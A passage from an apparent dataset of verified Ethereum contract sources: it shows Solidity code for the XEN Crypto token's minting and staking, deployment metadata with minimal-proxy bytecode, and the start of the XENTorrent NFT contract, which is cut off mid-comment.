*\n * This internal function is equivalent to `approve`, and can be used to\n * e.g. set automatic allowances for certain subsystems, etc.\n *\n * Emits an {Approval} event.\n *\n * Requirements:\n *\n * - `owner` cannot be the zero address.\n * - `spender` cannot be the zero address.\n */\n function _approve(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n _allowances[owner][spender] = amount;\n emit Approval(owner, spender, amount);\n }\n\n /**\n * @dev Updates `owner` s allowance for `spender` based on spent `amount`.\n *\n * Does not update the allowance amount in case of infinite allowance.\n * Revert if not enough allowance is available.\n *\n * Might emit an {Approval} event.\n */\n function _spendAllowance(\n address owner,\n address spender,\n uint256 amount\n ) internal virtual {\n uint256 currentAllowance = allowance(owner, spender);\n if (currentAllowance != type(uint256).max) {\n require(currentAllowance >= amount, \"ERC20: insufficient allowance\");\n unchecked {\n _approve(owner, spender, currentAllowance - amount);\n }\n }\n }\n\n /**\n * @dev Hook that is called before any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * will be transferred to `to`.\n * - when `from` is zero, `amount` tokens will be minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens will be burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _beforeTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n\n /**\n * @dev Hook that is called after any transfer of tokens. This includes\n * minting and burning.\n *\n * Calling conditions:\n *\n * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens\n * has been transferred to `to`.\n * - when `from` is zero, `amount` tokens have been minted for `to`.\n * - when `to` is zero, `amount` of ``from``'s tokens have been burned.\n * - `from` and `to` are never both zero.\n *\n * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 amount\n ) internal virtual {}\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC2981.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts (last updated v4.6.0) (interfaces/IERC2981.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n\n/**\n * @dev Interface for the NFT Royalty Standard.\n *\n * A standardized way to retrieve royalty payment information for non-fungible tokens (NFTs) to enable universal\n * support for royalty payments across all NFT marketplaces and ecosystem participants.\n *\n * _Available since v4.5._\n */\ninterface IERC2981 is IERC165 {\n /**\n * @dev Returns how much royalty is owed and to whom, based on a sale price that may be denominated in any unit of\n * exchange. The royalty amount is denominated and should be paid in that same unit of exchange.\n */\n function royaltyInfo(uint256 tokenId, uint256 salePrice)\n external\n view\n returns (address receiver, uint256 royaltyAmount);\n}\n"
},
"@openzeppelin/contracts/interfaces/IERC165.sol": {
"content": "// SPDX-License-Identifier: MIT\n// OpenZeppelin Contracts v4.4.1 (interfaces/IERC165.sol)\n\npragma solidity ^0.8.0;\n\nimport \"../utils/introspection/IERC165.sol\";\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IStakingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IStakingToken {\n event Staked(address indexed user, uint256 amount, uint256 term);\n\n event Withdrawn(address indexed user, uint256 amount, uint256 reward);\n\n function stake(uint256 amount, uint256 term) external;\n\n function withdraw() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IRankedMintingToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IRankedMintingToken {\n event RankClaimed(address indexed user, uint256 term, uint256 rank);\n\n event MintClaimed(address indexed user, uint256 rewardAmount);\n\n function claimRank(uint256 term) external;\n\n function claimMintReward() external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnableToken {\n function burn(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\ninterface IBurnRedeemable {\n event Redeemed(\n address indexed user,\n address indexed xenContract,\n address indexed tokenContract,\n uint256 xenAmount,\n uint256 tokenAmount\n );\n\n function onTokenBurned(address user, uint256 amount) external;\n}\n"
},
"@faircrypto/xen-crypto/contracts/XENCrypto.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"./Math.sol\";\nimport \"@openzeppelin/contracts/token/ERC20/ERC20.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC165.sol\";\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\nimport \"./interfaces/IStakingToken.sol\";\nimport \"./interfaces/IRankedMintingToken.sol\";\nimport \"./interfaces/IBurnableToken.sol\";\nimport \"./interfaces/IBurnRedeemable.sol\";\n\ncontract XENCrypto is Context, IRankedMintingToken, IStakingToken, IBurnableToken, ERC20(\"XEN Crypto\", \"XEN\") {\n using Math for uint256;\n using ABDKMath64x64 for int128;\n using ABDKMath64x64 for uint256;\n\n // INTERNAL TYPE TO DESCRIBE A XEN MINT INFO\n struct MintInfo {\n address user;\n uint256 term;\n uint256 maturityTs;\n uint256 rank;\n uint256 amplifier;\n uint256 eaaRate;\n }\n\n // INTERNAL TYPE TO DESCRIBE A XEN STAKE\n struct StakeInfo {\n uint256 term;\n uint256 maturityTs;\n uint256 amount;\n uint256 apy;\n }\n\n // PUBLIC CONSTANTS\n\n uint256 public constant SECONDS_IN_DAY = 3_600 * 24;\n uint256 public constant DAYS_IN_YEAR = 365;\n\n uint256 public constant GENESIS_RANK = 1;\n\n uint256 public constant MIN_TERM = 1 * SECONDS_IN_DAY - 1;\n uint256 public constant MAX_TERM_START = 100 * SECONDS_IN_DAY;\n uint256 public constant MAX_TERM_END = 1_000 * SECONDS_IN_DAY;\n uint256 public constant TERM_AMPLIFIER = 15;\n uint256 public constant TERM_AMPLIFIER_THRESHOLD = 5_000;\n uint256 public constant REWARD_AMPLIFIER_START = 3_000;\n uint256 public constant REWARD_AMPLIFIER_END = 1;\n uint256 public constant EAA_PM_START = 100;\n uint256 public constant EAA_PM_STEP = 1;\n uint256 public constant EAA_RANK_STEP = 100_000;\n uint256 public constant WITHDRAWAL_WINDOW_DAYS = 7;\n uint256 public constant MAX_PENALTY_PCT = 99;\n\n uint256 public constant XEN_MIN_STAKE = 0;\n\n uint256 public constant XEN_MIN_BURN = 0;\n\n uint256 public constant XEN_APY_START = 20;\n uint256 public constant XEN_APY_DAYS_STEP = 90;\n uint256 public constant XEN_APY_END = 2;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n // PUBLIC STATE, READABLE VIA NAMESAKE GETTERS\n\n uint256 public immutable genesisTs;\n uint256 public globalRank = GENESIS_RANK;\n uint256 public activeMinters;\n uint256 public activeStakes;\n uint256 public totalXenStaked;\n // user address => XEN mint info\n mapping(address => MintInfo) public userMints;\n // user address => XEN stake info\n mapping(address => StakeInfo) public userStakes;\n // user address => XEN burn amount\n mapping(address => uint256) public userBurns;\n\n // CONSTRUCTOR\n constructor() {\n genesisTs = block.timestamp;\n }\n\n // PRIVATE METHODS\n\n /**\n * @dev calculates current MaxTerm based on Global Rank\n * (if Global Rank crosses over TERM_AMPLIFIER_THRESHOLD)\n */\n function _calculateMaxTerm() private view returns (uint256) {\n if (globalRank > TERM_AMPLIFIER_THRESHOLD) {\n uint256 delta = globalRank.fromUInt().log_2().mul(TERM_AMPLIFIER.fromUInt()).toUInt();\n uint256 newMax = MAX_TERM_START + delta * SECONDS_IN_DAY;\n return Math.min(newMax, MAX_TERM_END);\n }\n return MAX_TERM_START;\n }\n\n /**\n * @dev calculates Withdrawal Penalty depending on lateness\n */\n function _penalty(uint256 secsLate) private pure returns (uint256) {\n // =MIN(2^(daysLate+3)/window-1,99)\n uint256 daysLate = secsLate / SECONDS_IN_DAY;\n if (daysLate > WITHDRAWAL_WINDOW_DAYS - 1) return MAX_PENALTY_PCT;\n uint256 penalty = (uint256(1) << (daysLate + 3)) / WITHDRAWAL_WINDOW_DAYS - 1;\n return Math.min(penalty, MAX_PENALTY_PCT);\n }\n\n /**\n * @dev calculates net Mint Reward (adjusted for Penalty)\n */\n function _calculateMintReward(\n uint256 cRank,\n uint256 term,\n uint256 maturityTs,\n uint256 amplifier,\n uint256 eeaRate\n ) private view returns (uint256) {\n uint256 secsLate = block.timestamp - maturityTs;\n uint256 penalty = _penalty(secsLate);\n uint256 rankDelta = Math.max(globalRank - cRank, 2);\n uint256 EAA = (1_000 + eeaRate);\n uint256 reward = getGrossReward(rankDelta, amplifier, term, EAA);\n return (reward * (100 - penalty)) / 100;\n }\n\n /**\n * @dev cleans up User Mint storage (gets some Gas credit;))\n */\n function _cleanUpUserMint() private {\n delete userMints[_msgSender()];\n activeMinters--;\n }\n\n /**\n * @dev calculates XEN Stake Reward\n */\n function _calculateStakeReward(\n uint256 amount,\n uint256 term,\n uint256 maturityTs,\n uint256 apy\n ) private view returns (uint256) {\n if (block.timestamp > maturityTs) {\n uint256 rate = (apy * term * 1_000_000) / DAYS_IN_YEAR;\n return (amount * rate) / 100_000_000;\n }\n return 0;\n }\n\n /**\n * @dev calculates Reward Amplifier\n */\n function _calculateRewardAmplifier() private view returns (uint256) {\n uint256 amplifierDecrease = (block.timestamp - genesisTs) / SECONDS_IN_DAY;\n if (amplifierDecrease < REWARD_AMPLIFIER_START) {\n return Math.max(REWARD_AMPLIFIER_START - amplifierDecrease, REWARD_AMPLIFIER_END);\n } else {\n return REWARD_AMPLIFIER_END;\n }\n }\n\n /**\n * @dev calculates Early Adopter Amplifier Rate (in 1/000ths)\n * actual EAA is (1_000 + EAAR) / 1_000\n */\n function _calculateEAARate() private view returns (uint256) {\n uint256 decrease = (EAA_PM_STEP * globalRank) / EAA_RANK_STEP;\n if (decrease > EAA_PM_START) return 0;\n return EAA_PM_START - decrease;\n }\n\n /**\n * @dev calculates APY (in %)\n */\n function _calculateAPY() private view returns (uint256) {\n uint256 decrease = (block.timestamp - genesisTs) / (SECONDS_IN_DAY * XEN_APY_DAYS_STEP);\n if (XEN_APY_START - XEN_APY_END < decrease) return XEN_APY_END;\n return XEN_APY_START - decrease;\n }\n\n /**\n * @dev creates User Stake\n */\n function _createStake(uint256 amount, uint256 term) private {\n userStakes[_msgSender()] = StakeInfo({\n term: term,\n maturityTs: block.timestamp + term * SECONDS_IN_DAY,\n amount: amount,\n apy: _calculateAPY()\n });\n activeStakes++;\n totalXenStaked += amount;\n }\n\n // PUBLIC CONVENIENCE GETTERS\n\n /**\n * @dev calculates gross Mint Reward\n */\n function getGrossReward(\n uint256 rankDelta,\n uint256 amplifier,\n uint256 term,\n uint256 eaa\n ) public pure returns (uint256) {\n int128 log128 = rankDelta.fromUInt().log_2();\n int128 reward128 = log128.mul(amplifier.fromUInt()).mul(term.fromUInt()).mul(eaa.fromUInt());\n return reward128.div(uint256(1_000).fromUInt()).toUInt();\n }\n\n /**\n * @dev returns User Mint object associated with User account address\n */\n function getUserMint() external view returns (MintInfo memory) {\n return userMints[_msgSender()];\n }\n\n /**\n * @dev returns XEN Stake object associated with User account address\n */\n function getUserStake() external view returns (StakeInfo memory) {\n return userStakes[_msgSender()];\n }\n\n /**\n * @dev returns current AMP\n */\n function getCurrentAMP() external view returns (uint256) {\n return _calculateRewardAmplifier();\n }\n\n /**\n * @dev returns current EAA Rate\n */\n function getCurrentEAAR() external view returns (uint256) {\n return _calculateEAARate();\n }\n\n /**\n * @dev returns current APY\n */\n function getCurrentAPY() external view returns (uint256) {\n return _calculateAPY();\n }\n\n /**\n * @dev returns current MaxTerm\n */\n function getCurrentMaxTerm() external view returns (uint256) {\n return _calculateMaxTerm();\n }\n\n // PUBLIC STATE-CHANGING METHODS\n\n /**\n * @dev accepts User cRank claim provided all checks pass (incl. no current claim exists)\n */\n function claimRank(uint256 term) external {\n uint256 termSec = term * SECONDS_IN_DAY;\n require(termSec > MIN_TERM, \"CRank: Term less than min\");\n require(termSec < _calculateMaxTerm() + 1, \"CRank: Term more than current max term\");\n require(userMints[_msgSender()].rank == 0, \"CRank: Mint already in progress\");\n\n // create and store new MintInfo\n MintInfo memory mintInfo = MintInfo({\n user: _msgSender(),\n term: term,\n maturityTs: block.timestamp + termSec,\n rank: globalRank,\n amplifier: _calculateRewardAmplifier(),\n eaaRate: _calculateEAARate()\n });\n userMints[_msgSender()] = mintInfo;\n activeMinters++;\n emit RankClaimed(_msgSender(), term, globalRank++);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal Time Window), gets minted XEN\n */\n function claimMintReward() external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward and mint tokens\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n _mint(_msgSender(), rewardAmount);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and splits them between User and designated other address\n */\n function claimMintRewardAndShare(address other, uint256 pct) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n require(other != address(0), \"CRank: Cannot share with zero address\");\n require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share 100+ percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 sharedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - sharedReward;\n\n // mint reward tokens\n _mint(_msgSender(), ownReward);\n _mint(other, sharedReward);\n\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n }\n\n /**\n * @dev ends minting upon maturity (and within permitted Withdrawal time Window)\n * mints XEN coins and stakes 'pct' of it for 'term'\n */\n function claimMintRewardAndStake(uint256 pct, uint256 term) external {\n MintInfo memory mintInfo = userMints[_msgSender()];\n // require(pct > 0, \"CRank: Cannot share zero percent\");\n require(pct < 101, \"CRank: Cannot share >100 percent\");\n require(mintInfo.rank > 0, \"CRank: No mint exists\");\n require(block.timestamp > mintInfo.maturityTs, \"CRank: Mint maturity not reached\");\n\n // calculate reward\n uint256 rewardAmount = _calculateMintReward(\n mintInfo.rank,\n mintInfo.term,\n mintInfo.maturityTs,\n mintInfo.amplifier,\n mintInfo.eaaRate\n ) * 1 ether;\n uint256 stakedReward = (rewardAmount * pct) / 100;\n uint256 ownReward = rewardAmount - stakedReward;\n\n // mint reward tokens part\n _mint(_msgSender(), ownReward);\n _cleanUpUserMint();\n emit MintClaimed(_msgSender(), rewardAmount);\n\n // nothing to burn since we haven't minted this part yet\n // stake extra tokens part\n require(stakedReward > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n _createStake(stakedReward, term);\n emit Staked(_msgSender(), stakedReward, term);\n }\n\n /**\n * @dev initiates XEN Stake in amount for a term (days)\n */\n function stake(uint256 amount, uint256 term) external {\n require(balanceOf(_msgSender()) >= amount, \"XEN: not enough balance\");\n require(amount > XEN_MIN_STAKE, \"XEN: Below min stake\");\n require(term * SECONDS_IN_DAY > MIN_TERM, \"XEN: Below min stake term\");\n require(term * SECONDS_IN_DAY < MAX_TERM_END + 1, \"XEN: Above max stake term\");\n require(userStakes[_msgSender()].amount == 0, \"XEN: stake exists\");\n\n // burn staked XEN\n _burn(_msgSender(), amount);\n // create XEN Stake\n _createStake(amount, term);\n emit Staked(_msgSender(), amount, term);\n }\n\n /**\n * @dev ends XEN Stake and gets reward if the Stake is mature\n */\n function withdraw() external {\n StakeInfo memory userStake = userStakes[_msgSender()];\n require(userStake.amount > 0, \"XEN: no stake exists\");\n\n uint256 xenReward = _calculateStakeReward(\n userStake.amount,\n userStake.term,\n userStake.maturityTs,\n userStake.apy\n );\n activeStakes--;\n totalXenStaked -= userStake.amount;\n\n // mint staked XEN (+ reward)\n _mint(_msgSender(), userStake.amount + xenReward);\n emit Withdrawn(_msgSender(), userStake.amount, xenReward);\n delete userStakes[_msgSender()];\n }\n\n /**\n * @dev burns XEN tokens and creates Proof-Of-Burn record to be used by connected DeFi services\n */\n function burn(address user, uint256 amount) public {\n require(amount > XEN_MIN_BURN, \"Burn: Below min limit\");\n require(\n IERC165(_msgSender()).supportsInterface(type(IBurnRedeemable).interfaceId),\n \"Burn: not a supported contract\"\n );\n\n _spendAllowance(user, _msgSender(), amount);\n _burn(user, amount);\n userBurns[user] += amount;\n IBurnRedeemable(_msgSender()).onTokenBurned(user, amount);\n }\n}\n"
},
"@faircrypto/xen-crypto/contracts/Math.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"abdk-libraries-solidity/ABDKMath64x64.sol\";\n\nlibrary Math {\n\n function min(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return b;\n return a;\n }\n\n function max(uint256 a, uint256 b) external pure returns (uint256) {\n if (a > b) return a;\n return b;\n }\n\n function logX64(uint256 x) external pure returns (int128) {\n return ABDKMath64x64.log_2(ABDKMath64x64.fromUInt(x));\n }\n}\n"
}
},
"settings": {
"remappings": [],
"optimizer": {
"enabled": true,
"runs": 20
},
"evmVersion": "london",
"libraries": {
"/contracts/libs/MintInfo.sol": {
"MintInfo": "0xC739d01beb34E380461BBa9ef8ed1a44874382Be"
},
"/contracts/libs/Metadata.sol": {
"Metadata": "0x1Ac17FFB8456525BfF46870bba7Ed8772ba063a5"
}
},
"outputSelection": {
"*": {
"*": [
"evm.bytecode",
"evm.deployedBytecode",
"devdoc",
"userdoc",
"metadata",
"abi"
]
}
}
}
}}
|
1 | 19,503,081 |
44d5eb1f606e48a1f7bf49b7ef6942bf3e75a1b6dce64d55238320f06d48777e
|
0574a1ef3a37f1ea8b041a3fba39caeffad00590c647ed9bbb578484c7d8d98a
|
5e05f02c1e0ada6eece8dca05b2c3fb551a8da2b
|
0a252663dbcc0b073063d6420a40319e438cfa59
|
a22f8561384aa05a71bd152a6f0e0e41bce3a1e7
|
3d602d80600a3d3981f3363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
363d3d373d3d3d363d730a252663dbcc0b073063d6420a40319e438cfa595af43d82803e903d91602b57fd5bf3
|
{{
"language": "Solidity",
"sources": {
"/contracts/XENFT.sol": {
"content": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.10;\n\nimport \"@openzeppelin/contracts/token/ERC721/ERC721.sol\";\nimport \"@openzeppelin/contracts/interfaces/IERC2981.sol\";\nimport \"@openzeppelin/contracts/utils/Base64.sol\";\nimport \"@openzeppelin/contracts/utils/Strings.sol\";\nimport \"@faircrypto/xen-crypto/contracts/XENCrypto.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnableToken.sol\";\nimport \"@faircrypto/xen-crypto/contracts/interfaces/IBurnRedeemable.sol\";\nimport \"operator-filter-registry/src/DefaultOperatorFilterer.sol\";\nimport \"./libs/ERC2771Context.sol\";\nimport \"./interfaces/IERC2771.sol\";\nimport \"./interfaces/IXENTorrent.sol\";\nimport \"./interfaces/IXENProxying.sol\";\nimport \"./libs/MintInfo.sol\";\nimport \"./libs/Metadata.sol\";\nimport \"./libs/Array.sol\";\n\n/*\n\n \\\\ // ||||||||||| |\\ || A CRYPTOCURRENCY FOR THE MASSES\n \\\\ // || |\\\\ ||\n \\\\ // || ||\\\\ || PRINCIPLES OF XEN:\n \\\\// || || \\\\ || - No pre-mint; starts with zero supply\n XX |||||||| || \\\\ || - No admin keys\n //\\\\ || || \\\\ || - Immutable contract\n // \\\\ || || \\\\||\n // \\\\ || || \\\\|\n // \\\\ ||||||||||| || \\| Copyright (C) FairCrypto Foundation 2022\n\n\n XENFT XEN Torrent props:\n - count: number of VMUs\n - mintInfo: (term, maturityTs, cRank start, AMP, EAA, apex, limited, group, redeemed)\n */\ncontract XENTorrent is\n DefaultOperatorFilterer, // required to support OpenSea royalties\n IXENTorrent,\n IXENProxying,\n IBurnableToken,\n IBurnRedeemable,\n ERC2771Context, // required to support meta transactions\n IERC2981, // required to support NFT royalties\n ERC721(\"XEN Torrent\", \"XENT\")\n{\n // HELPER LIBRARIES\n\n using Strings for uint256;\n using MintInfo for uint256;\n using Array for uint256[];\n\n // PUBLIC CONSTANTS\n\n // XENFT common business logic\n uint256 public constant BLACKOUT_TERM = 7 * 24 * 3600; /* 7 days in sec */\n\n // XENFT categories' params\n uint256 public constant COMMON_CATEGORY_COUNTER = 10_001;\n uint256 public constant SPECIAL_CATEGORIES_VMU_THRESHOLD = 99;\n uint256 public constant LIMITED_CATEGORY_TIME_THRESHOLD = 3_600 * 24 * 365;\n\n uint256 public constant POWER_GROUP_SIZE = 7_500;\n\n string public constant AUTHORS = \"@MrJackLevin @lbelyaev faircrypto.org\";\n\n uint256 public constant ROYALTY_BP = 250;\n\n // PUBLIC MUTABLE STATE\n\n // increasing counters for NFT tokenIds, also used as salt for proxies' spinning\n uint256 public tokenIdCounter = COMMON_CATEGORY_COUNTER;\n\n // Indexing of params by categories and classes:\n // 0: Collector\n // 1: Limited\n // 2: Rare\n // 3: Epic\n // 4: Legendary\n // 5: Exotic\n // 6: Xunicorn\n // [0, B1, B2, B3, B4, B5, B6]\n uint256[] public specialClassesBurnRates;\n // [0, 0, R1, R2, R3, R4, R5]\n uint256[] public specialClassesTokenLimits;\n // [0, 0, 0 + 1, R1+1, R2+1, R3+1, R4+1]\n uint256[] public specialClassesCounters;\n\n // mapping: NFT tokenId => count of Virtual Mining Units\n mapping(uint256 => uint256) public vmuCount;\n // mapping: NFT tokenId => burned XEN\n mapping(uint256 => uint256) public xenBurned;\n // mapping: NFT tokenId => MintInfo (used in tokenURI generation)\n // MintInfo encoded as:\n // term (uint16)\n // | maturityTs (uint64)\n // | rank (uint128)\n // | amp (uint16)\n // | eaa (uint16)\n // | class (uint8):\n // [7] isApex\n // [6] isLimited\n // [0-5] powerGroupIdx\n // | redeemed (uint8)\n mapping(uint256 => uint256) public mintInfo;\n\n // PUBLIC IMMUTABLE STATE\n\n // pointer to XEN Crypto contract\n XENCrypto public immutable xenCrypto;\n // genesisTs for the contract\n uint256 public immutable genesisTs;\n // start of operations block number\n uint256 public immutable startBlockNumber;\n\n // PRIVATE STATE\n\n // original contract marking to distinguish from proxy copies\n address private immutable _original;\n // original deployer address to be used for setting trusted forwarder\n address private immutable _deployer;\n // address to be used for royalties' tracking\n address private immutable _royaltyReceiver;\n\n // reentrancy guard constants and state\n // using non-zero constants to save gas avoiding repeated initialization\n uint256 private constant _NOT_USED = 2**256 - 1; // 0xFF..FF\n uint256 private constant _USED = _NOT_USED - 1; // 0xFF..FE\n // used as both\n // - reentrancy guard (_NOT_USED > _USED > _NOT_USED)\n // - for keeping state while awaiting for OnTokenBurned callback (_NOT_USED > tokenId > _NOT_USED)\n uint256 private _tokenId;\n\n // mapping Address => tokenId[]\n mapping(address => uint256[]) private _ownedTokens;\n\n /**\n @dev Constructor. Creates XEN Torrent contract, setting immutable parameters\n */\n constructor(\n address xenCrypto_,\n uint256[] memory burnRates_,\n uint256[] memory tokenLimits_,\n uint256 startBlockNumber_,\n address forwarder_,\n address royaltyReceiver_\n ) ERC2771Context(forwarder_) {\n require(xenCrypto_ != address(0), \"bad address\");\n require(burnRates_.length == tokenLimits_.length && burnRates_.length > 0, \"params mismatch\");\n _tokenId = _NOT_USED;\n _original = address(this);\n _deployer = msg.sender;\n _royaltyReceiver = royaltyReceiver_ == address(0) ? msg.sender : royaltyReceiver_;\n startBlockNumber = startBlockNumber_;\n genesisTs = block.timestamp;\n xenCrypto = XENCrypto(xenCrypto_);\n specialClassesBurnRates = burnRates_;\n specialClassesTokenLimits = tokenLimits_;\n specialClassesCounters = new uint256[](tokenLimits_.length);\n for (uint256 i = 2; i < specialClassesBurnRates.length - 1; i++) {\n specialClassesCounters[i] = specialClassesTokenLimits[i + 1] + 1;\n }\n specialClassesCounters[specialClassesBurnRates.length - 1] = 1;\n }\n\n /**\n @dev Call Reentrancy Guard\n */\n modifier nonReentrant() {\n require(_tokenId == _NOT_USED, \"XENFT: Reentrancy detected\");\n _tokenId = _USED;\n _;\n _tokenId = _NOT_USED;\n }\n\n /**\n @dev Start of Operations Guard\n */\n modifier notBeforeStart() {\n require(block.number > startBlockNumber, \"XENFT: Not active yet\");\n _;\n }\n\n // INTERFACES & STANDARDS\n // IERC165 IMPLEMENTATION\n\n /**\n @dev confirms support for IERC-165, IERC-721, IERC2981, IERC2771 and IBurnRedeemable interfaces\n */\n function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {\n return\n interfaceId == type(IBurnRedeemable).interfaceId ||\n interfaceId == type(IERC2981).interfaceId ||\n interfaceId == type(IERC2771).interfaceId ||\n super.supportsInterface(interfaceId);\n }\n\n // ERC2771 IMPLEMENTATION\n\n /**\n @dev use ERC2771Context implementation of _msgSender()\n */\n function _msgSender() internal view virtual override(Context, ERC2771Context) returns (address) {\n return ERC2771Context._msgSender();\n }\n\n /**\n @dev use ERC2771Context implementation of _msgData()\n */\n function _msgData() internal view virtual override(Context, ERC2771Context) returns (bytes calldata) {\n return ERC2771Context._msgData();\n }\n\n // OWNABLE IMPLEMENTATION\n\n /**\n @dev public getter to check for deployer / owner (Opensea, etc.)\n */\n function owner() external view returns (address) {\n return _deployer;\n }\n\n // ERC-721 METADATA IMPLEMENTATION\n /**\n @dev compliance with ERC-721 standard (NFT); returns NFT metadata, including SVG-encoded image\n */\n function tokenURI(uint256 tokenId) public view override returns (string memory) {\n uint256 count = vmuCount[tokenId];\n uint256 info = mintInfo[tokenId];\n uint256 burned = xenBurned[tokenId];\n require(count > 0);\n bytes memory dataURI = abi.encodePacked(\n \"{\",\n '\"name\": \"XEN Torrent #',\n tokenId.toString(),\n '\",',\n '\"description\": \"XENFT: XEN Crypto Minting Torrent\",',\n '\"image\": \"',\n \"data:image/svg+xml;base64,\",\n Base64.encode(Metadata.svgData(tokenId, count, info, address(xenCrypto), burned)),\n '\",',\n '\"attributes\": ',\n Metadata.attributes(count, burned, info),\n \"}\"\n );\n return string(abi.encodePacked(\"data:application/json;base64,\", Base64.encode(dataURI)));\n }\n\n // IMPLEMENTATION OF XENProxying INTERFACE\n // FUNCTIONS IN PROXY COPY CONTRACTS (VMUs), CALLING ORIGINAL XEN CRYPTO CONTRACT\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimRank(term)\n */\n function callClaimRank(uint256 term) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimRank(uint256)\", term);\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => XENCrypto.claimMintRewardAndShare()\n */\n function callClaimMintReward(address to) external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n bytes memory callData = abi.encodeWithSignature(\"claimMintRewardAndShare(address,uint256)\", to, uint256(100));\n (bool success, ) = address(xenCrypto).call(callData);\n require(success, \"call failed\");\n }\n\n /**\n @dev function callable only in proxy contracts from the original one => destroys the proxy contract\n */\n function powerDown() external {\n require(msg.sender == _original, \"XEN Proxy: unauthorized\");\n selfdestruct(payable(address(0)));\n }\n\n // OVERRIDING OF ERC-721 IMPLEMENTATION\n // ENFORCEMENT OF TRANSFER BLACKOUT PERIOD\n\n /**\n @dev overrides OZ ERC-721 before transfer hook to check if there's no blackout period\n */\n function _beforeTokenTransfer(\n address from,\n address,\n uint256 tokenId\n ) internal virtual override {\n if (from != address(0)) {\n uint256 maturityTs = mintInfo[tokenId].getMaturityTs();\n uint256 delta = maturityTs > block.timestamp ? maturityTs - block.timestamp : block.timestamp - maturityTs;\n require(delta > BLACKOUT_TERM, \"XENFT: transfer prohibited in blackout period\");\n }\n }\n\n /**\n @dev overrides OZ ERC-721 after transfer hook to allow token enumeration for owner\n */\n function _afterTokenTransfer(\n address from,\n address to,\n uint256 tokenId\n ) internal virtual override {\n _ownedTokens[from].removeItem(tokenId);\n _ownedTokens[to].addItem(tokenId);\n }\n\n // IBurnRedeemable IMPLEMENTATION\n\n /**\n @dev implements IBurnRedeemable interface for burning XEN and completing Bulk Mint for limited series\n */\n function onTokenBurned(address user, uint256 burned) external {\n require(_tokenId != _NOT_USED, \"XENFT: illegal callback state\");\n require(msg.sender == address(xenCrypto), \"XENFT: illegal callback caller\");\n _ownedTokens[user].addItem(_tokenId);\n xenBurned[_tokenId] = burned;\n _safeMint(user, _tokenId);\n emit StartTorrent(user, vmuCount[_tokenId], mintInfo[_tokenId].getTerm());\n _tokenId = _NOT_USED;\n }\n\n // IBurnableToken IMPLEMENTATION\n\n /**\n @dev burns XENTorrent XENFT which can be used by 